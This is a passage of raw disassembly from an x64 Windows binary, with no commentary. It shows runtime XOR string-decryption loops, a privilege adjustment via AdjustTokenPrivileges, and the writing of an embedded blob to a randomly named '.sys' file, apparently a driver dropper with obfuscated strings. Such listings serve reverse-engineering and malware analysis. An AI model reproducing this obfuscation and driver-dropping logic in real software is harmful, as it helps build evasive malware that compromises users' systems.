inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x5c
jl 0x1400324d0
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp + 0x90]
lea rdx, [rbp + 0xd0]
xor ecx, ecx
call r10
cmp byte [rbp + 0x12b], 0
jne 0x1400326c0
mov r8d, ebx
cmp edi, 2
jl 0x140032675
movdqa xmm5, xmmword [0x1408d3b80]
movdqa xmm4, xmmword [0x1408d3ca0]
movdqa xmm6, xmmword [0x1408d3bc0]
movdqa xmm0, xmmword [0x1408d3c70]
movdqa xmmword [rbp + 0x2b0], xmm0
lea rcx, [rbp + 0xd4]
mov edx, dword [rbp + 0x2b0]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1408d3c30]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1408d3c30]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x58
jl 0x140032570
cmp r8d, 0x5c
jge 0x1400326c0
movsxd rax, r8d
lea r9, [rbp + 0xd0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x5c
jl 0x140032690
cmp byte [rbp + 0x97], 0
jne 0x140032820
cmp edi, 2
jl 0x1400327da
movdqa xmm4, xmmword [0x1408d3ca0]
movdqa xmm2, xmmword [0x1408d3b80]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1408d3bc0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1408d3c30]
packuswb xmm2, xmm2
mov eax, dword [0x1408d3c70]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x90]
xorps xmm2, xmm1
movd dword [rbp + 0x90], xmm2
movdqa xmm3, xmmword [0x1408d3b90]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1408d3bc0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1408d3c30]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x94]
xorps xmm2, xmm1
movd dword [rbp + 0x94], xmm2
jmp 0x140032820
lea r9, [rbp + 0x90]
mov r8d, ebx
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x1400327f0
call fcn.14003d060
mov rsi, rax
movzx ecx, word [0x1408d0cfc]
mov word [rbp + 0x80], cx
cmp byte [0x1408d0cfd], 0
je 0x14003284d
mov byte [rbp + 0x80], Ordinal_50
xor byte [rbp + 0x81], 0x34
lea rcx, [rbp + 0x80]
call fcn.140132c5c
mov ecx, eax
call rsi
mov rcx, qword [rbp + 0x1d0]
mov dword [rbp + 0x1d8], 1
mov eax, 2
mov dword [rbp + 0x1e4], eax
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rbx
lea r9d, [rax + 0xe]
lea r8, [rbp + 0x1d8]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x140032f7d
mov byte [0x140919288], 1
movups xmm0, xmmword [0x1408d0d10]
movups xmmword [rbp + 0xd0], xmm0
movups xmm1, xmmword [0x1408d0d20]
movups xmmword [rbp + 0xe0], xmm1
movups xmm0, xmmword [0x1408d0d30]
movups xmmword [rbp + 0xf0], xmm0
movups xmm1, xmmword [0x1408d0d40]
movups xmmword [rbp + 0x100], xmm1
movups xmm0, xmmword [0x1408d0d50]
movups xmmword [rbp + 0x110], xmm0
movsd xmm0, qword [0x1408d0d60]
movsd qword [rbp + 0x120], xmm0
mov eax, dword [0x1408d0d68]
mov dword [rbp + 0x128], eax
mov rax, qword [str._U_RUWA:_U_RUWA]
mov qword [rbp + 0x90], rax
call fcn.1400402a0
mov r10, rax
cmp byte [rbp + 0x97], 0
je 0x140032a80
cmp edi, 2
jl 0x140032a37
movdqa xmm4, xmmword [0x1408d3ca0]
movdqa xmm2, xmmword [0x1408d3b80]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1408d3bc0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1408d3c30]
packuswb xmm2, xmm2
mov eax, dword [0x1408d3c70]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x90]
xorps xmm2, xmm1
movd dword [rbp + 0x90], xmm2
movdqa xmm3, xmmword [0x1408d3b90]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1408d3bc0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1408d3c30]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x94]
xorps xmm2, xmm1
movd dword [rbp + 0x94], xmm2
jmp 0x140032a80
lea r9, [rbp + 0x90]
mov r8d, ebx
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140032a50
cmp byte [rbp + 0x12b], 0
je 0x140032c20
mov r8d, ebx
cmp edi, 2
jl 0x140032bd5
movdqa xmm5, xmmword [0x1408d3b80]
movdqa xmm4, xmmword [0x1408d3ca0]
movdqa xmm6, xmmword [0x1408d3bc0]
movdqa xmm0, xmmword [0x1408d3c70]
movdqa xmmword [rbp + 0x2b0], xmm0
lea rcx, [rbp + 0xd4]
mov edx, dword [rbp + 0x2b0]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1408d3c30]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1408d3c30]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x58
jl 0x140032ad0
cmp r8d, 0x5c
jge 0x140032c20
movsxd rax, r8d
lea r9, [rbp + 0xd0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x5c
jl 0x140032bf0
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp + 0x90]
lea rdx, [rbp + 0xd0]
xor ecx, ecx
call r10
cmp byte [rbp + 0x12b], 0
jne 0x140032de0
mov r8d, ebx
cmp edi, 2
jl 0x140032d95
movdqa xmm5, xmmword [0x1408d3b80]
movdqa xmm4, xmmword [0x1408d3ca0]
movdqa xmm6, xmmword [0x1408d3bc0]
movdqa xmm0, xmmword [0x1408d3c70]
movdqa xmmword [rbp + 0x2b0], xmm0
lea rcx, [rbp + 0xd4]
mov edx, dword [rbp + 0x2b0]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1408d3c30]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1408d3c30]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x58
jl 0x140032c90
cmp r8d, 0x5c
jge 0x140032de0
movsxd rax, r8d
lea r9, [rbp + 0xd0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x5c
jl 0x140032db0
cmp byte [rbp + 0x97], 0
jne 0x140032f40
cmp edi, 2
jl 0x140032efa
movdqa xmm4, xmmword [0x1408d3ca0]
movdqa xmm2, xmmword [0x1408d3b80]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1408d3bc0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1408d3c30]
packuswb xmm2, xmm2
mov eax, dword [0x1408d3c70]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x90]
xorps xmm2, xmm1
movd dword [rbp + 0x90], xmm2
movdqa xmm3, xmmword [0x1408d3b90]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1408d3bc0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1408d3c30]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x94]
xorps xmm2, xmm1
movd dword [rbp + 0x94], xmm2
jmp 0x140032f40
lea r9, [rbp + 0x90]
mov r8d, ebx
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140032f10
call fcn.14003d060
mov rsi, rax
movzx ecx, word [0x1408d0cfc]
mov word [rbp + 0x80], cx
cmp byte [0x1408d0cfd], 0
je 0x140032f6d
mov byte [rbp + 0x80], Ordinal_50
xor byte [rbp + 0x81], 0x34
lea rcx, [rbp + 0x80]
call fcn.140132c5c
mov ecx, eax
call rsi
call fcn.140041650
mov r8d, 0x104
lea rdx, [rbp + 0x300]
xor ecx, ecx
call rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x130], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x140], xmm1
lea rax, [rbp + 0x300]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140032fb6
lea rdx, [rbp + 0x300]
lea rcx, [rbp + 0x130]
call fcn.140012170
movzx eax, word [0x1408d11f0]
mov word [rbp + 0x80], ax
movzx eax, byte [0x1408d11f2]
mov byte [rbp + 0x80], 0x5c
xor byte [rbp + 0x81], 0x34
xor al, 0x35
mov byte [rbp + 0x82], al
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x130]
call fcn.140039e70
mov r15, rax
mov rdx, qword [rbp + 0x148]
cmp rdx, 0xf
jbe 0x140033055
inc rdx
mov rcx, qword [rbp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140033050
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400361b2
call fcn.140117d3c
xor ecx, ecx
call fcn.14012e36c
mov rcx, rax
call fcn.14012e220
xor r8d, r8d
lea edx, [r8 + 0xf]
lea rcx, [rbp + 0x180]
call fcn.140014b60
lea rsi, [rbp + 0x180]
cmp qword [rbp + 0x198], 0xf
cmova rsi, qword [rbp + 0x180]
mov r14d, reloc.WS2_32.dll_ntohs
movabs r12, 0x842108421084211
nop
movups xmm0, xmmword [str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz]
movups xmmword [rbp + 0xd0], xmm0
movups xmm1, xmmword [0x1408cfa50]
movups xmmword [rbp + 0xe0], xmm1
movups xmm0, xmmword [0x1408cfa60]
movups xmmword [rbp + 0xf0], xmm0
movsd xmm0, qword [0x1408cfa70]
movsd qword [rbp + 0x100], xmm0
mov eax, dword [0x1408cfa78]
mov dword [rbp + 0x108], eax
movzx eax, word [0x1408cfa7c]
mov word [rbp + 0x10c], ax
movzx eax, byte [0x1408cfa7e]
mov byte [rbp + 0x10e], al
call fcn.14012e1f4
movsxd rcx, eax
mov rax, r12
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 5
imul rax, rax, 0x3e
sub rcx, rax
movzx eax, byte [rbp + rcx + 0xd0]
mov byte [rsi], al
lea rsi, [rsi + 1]
sub r14, 1
jne 0x1400330a0
xorps xmm0, xmm0
movups xmmword [rbp + 0x130], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x140], xmm1
lea rax, [rbp + 0x300]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140033161
lea rdx, [rbp + 0x300]
lea rcx, [rbp + 0x130]
call fcn.140012170
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x90], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xa0], xmm1
lea r8, [r15 + 1]
cmp qword [rbp + 0x140], r8
cmovb r8, qword [rbp + 0x140]
lea rdx, [rbp + 0x130]
cmp qword [rbp + 0x148], 0xf
cmova rdx, qword [rbp + 0x130]
lea rcx, [rbp + 0x90]
call fcn.140012170
nop
lea r9, [rbp + 0x180]
lea r8, [rbp + 0x90]
movzx edx, byte [rbp + 0x80]
lea rcx, [rbp + 0x2b0]
call fcn.140043500
nop
mov r8d, 4
lea rdx, str..sys
lea rcx, [rbp + 0x2b0]
call fcn.140013eb0
xorps xmm0, xmm0
movups xmmword [rbp + 0x160], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x170], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x160], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x170], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rbp + 0x2c8]
cmp rdx, 0xf
jbe 0x140033280
inc rdx
mov rcx, qword [rbp + 0x2b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003327b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400361b8
call fcn.140117d3c
movdqa xmm0, xmmword [0x1408d3b70]
movdqu xmmword [rbp + 0x2c0], xmm0
mov byte [rbp + 0x2b0], 0
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0xf
jbe 0x1400332d9
inc rdx
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400332d3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400361be
call fcn.140117d3c
nop
mov rdx, qword [rbp + 0x148]
cmp rdx, 0xf
jbe 0x14003331b
inc rdx
mov rcx, qword [rbp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140033315
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400361c4
call fcn.140117d3c
nop
mov rdx, qword [rbp + 0x198]
cmp rdx, 0xf
jbe 0x14003335c
inc rdx
mov rcx, qword [rbp + 0x180]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140033357
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400361ca
call fcn.140117d3c
movdqa xmm0, xmmword [0x1408d3b70]
movdqu xmmword [rbp + 0x190], xmm0
mov byte [rbp + 0x180], 0
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x70]
call fcn.140153440
lea rdx, [rbp + 0x160]
cmp qword [rbp + 0x178], 0xf
cmova rdx, qword [rbp + 0x160]
lea rcx, [rsp + 0x70]
call fcn.140038820
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea r15, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x70], r15
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x6c], edx
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
test byte [rbp + rcx - 0x80], 6
jne 0x140033450
mov r8d, 0x8708
lea rdx, [0x1408f0fd0]
lea rcx, [rsp + 0x70]
call fcn.14001ac40
lea rcx, [rsp + 0x78]
call fcn.140016bc0
test rax, rax
jne 0x140033b2d
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
mov eax, 6
cmp qword [rbp + rcx - 0x48], 0
mov edx, 2
cmovne eax, edx
or eax, dword [rbp + rcx - 0x80]
and eax, 0x17
mov dword [rbp + rcx - 0x80], eax
mov edx, dword [rbp + rcx - 0x7c]
and edx, eax
je 0x140033b2d
test dl, 4
je 0x1400361d0
lea rbx, [0x14017f7e0]
jmp 0x1400361e5
mov byte [0x140919288], 1
movups xmm0, xmmword [0x1408d16a0]
movups xmmword [rbp + 0xd0], xmm0
movups xmm1, xmmword [0x1408d16b0]
movups xmmword [rbp + 0xe0], xmm1
movups xmm0, xmmword [0x1408d16c0]
movups xmmword [rbp + 0xf0], xmm0
movups xmm1, xmmword [0x1408d16d0]
movups xmmword [rbp + 0x100], xmm1
movups xmm0, xmmword [0x1408d16e0]
movups xmmword [rbp + 0x110], xmm0
movsd xmm0, qword [0x1408d16f0]
movsd qword [rbp + 0x120], xmm0
mov eax, dword [0x1408d16f8]
mov dword [rbp + 0x128], eax
mov rax, qword [str._U_RUWA:_U_RUWA]
mov qword [rbp + 0x90], rax
call fcn.1400402a0
mov r10, rax
cmp byte [rbp + 0x97], 0
je 0x140033630
cmp edi, 2
jl 0x1400335e9
movdqa xmm4, xmmword [0x1408d3ca0]
movdqa xmm2, xmmword [0x1408d3b80]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1408d3bc0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1408d3c30]
packuswb xmm2, xmm2
mov eax, dword [0x1408d3c70]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x90]
xorps xmm2, xmm1
movd dword [rbp + 0x90], xmm2
movdqa xmm3, xmmword [0x1408d3b90]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1408d3bc0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1408d3c30]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x94]
xorps xmm2, xmm1
movd dword [rbp + 0x94], xmm2
jmp 0x140033630
lea r9, [rbp + 0x90]
mov r8d, ebx
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140033600
cmp byte [rbp + 0x12b], 0
je 0x1400337d0
mov r8d, ebx
cmp edi, 2
jl 0x140033785
movdqa xmm5, xmmword [0x1408d3b80]
movdqa xmm4, xmmword [0x1408d3ca0]
movdqa xmm6, xmmword [0x1408d3bc0]
movdqa xmm0, xmmword [0x1408d3c70]
movdqa xmmword [rbp + 0x2b0], xmm0
lea rcx, [rbp + 0xd4]
mov edx, dword [rbp + 0x2b0]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1408d3c30]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1408d3c30]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x58
jl 0x140033680
cmp r8d, 0x5c
jge 0x1400337d0
movsxd rax, r8d
lea r9, [rbp + 0xd0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x5c
jl 0x1400337a0
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp + 0x90]
lea rdx, [rbp + 0xd0]
xor ecx, ecx
call r10
cmp byte [rbp + 0x12b], 0
jne 0x140033990
mov r8d, ebx
cmp edi, 2
jl 0x140033945
movdqa xmm5, xmmword [0x1408d3b80]
movdqa xmm4, xmmword [0x1408d3ca0]
movdqa xmm6, xmmword [0x1408d3bc0]
movdqa xmm0, xmmword [0x1408d3c70]
movdqa xmmword [rbp + 0x2b0], xmm0
lea rcx, [rbp + 0xd4]
mov edx, dword [rbp + 0x2b0]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
